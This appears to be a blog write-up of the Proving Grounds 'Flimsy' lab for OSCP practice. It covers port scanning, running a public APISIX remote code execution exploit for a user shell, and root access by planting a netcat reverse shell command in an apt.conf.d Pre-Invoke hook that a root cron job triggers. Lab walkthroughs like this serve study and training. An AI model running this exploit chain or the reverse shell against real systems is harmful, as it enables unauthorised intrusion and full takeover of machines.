Proving grounds:Flimsy


Today we will take a look at Proving grounds: Flimsy. My purpose in sharing this post is to prepare for oscp exam. It is also to show you the way if you are in trouble. Please try to understand each step and take notes.

  • Network
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62361a5cd3e37be170f8a3b31c4c2438 (RSA)
| 256 ee25fc236605c0c1ec47c6bb00c74f53 (ECDSA)
|_ 256 835c51ac32e53a217cf6c2cd936858d8 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Upright
|_http-server-header: nginx/1.18.0 (Ubuntu)
3306/tcp open mysql MySQL (unauthorized)
43500/tcp open http OpenResty web app server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • OpenResty (43500)

JSON error message

Check the Apache version.

└─$ curl -I
HTTP/1.1 404 Not Found
Date: Fri, 17 Feb 2023 09:34:34 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Server: APISIX/2.8

we found that there is an apisix exploit

─$ searchsploit APISIX    
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache APISIX 2.12.1 - Remote Code Execution (RCE) | multiple/remote/
--------------------------------------------------------------------------------------------------------------------------- --------------------------------

Use exploitation

└─$ searchsploit -m multiple/remote/         
Exploit: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
Path: /usr/share/exploitdb/exploits/multiple/remote/
Codes: CVE-2022-24112
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/kali/oscp/lab/
  • franklin

└─$ python 444

. ,
_.._ * __*\./ ___ _ \./._ | _ *-+-
(_][_)|_) |/'\ (/,/'\[_)|(_)| |
| |

{ Coded By: Ven3xy | Github: }

We got a shell from the user

franklin@flimsy:/root$ ls
ls: cannot open directory '.': Permission denied
  • Privesc (apt-get update)

Since the service is running as root, we can execute malicious commands through the apt package manager.

franklin@flimsy:/root$ cat /etc/crontab

* * * * * root apt-get update

Now we include the bash reverse shell payload in apt.conf.d:

franklin@flimsy:/root$ cd /etc/apt/apt.conf.d/   
cd /etc/apt/apt.conf.d/

franklin@flimsy:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f"};' > shell


listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 37266
/bin/sh: 0: can't access tty; job control turned off
# script /dev/null -c bash
Script started, file is /dev/null
root@flimsy:/tmp# whoami
root@flimsy:/tmp# whoami && uname -a
whoami && uname -a
Linux flimsy 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

And now we are the root

“If you have any questions or comments, please do not hesitate to write. Have a good days”



Al1z4deh:~# echo "Welcome"

Al1z4deh:~# echo "eJPT, CEH, OSCP"

Recommended from Medium


See more recommendations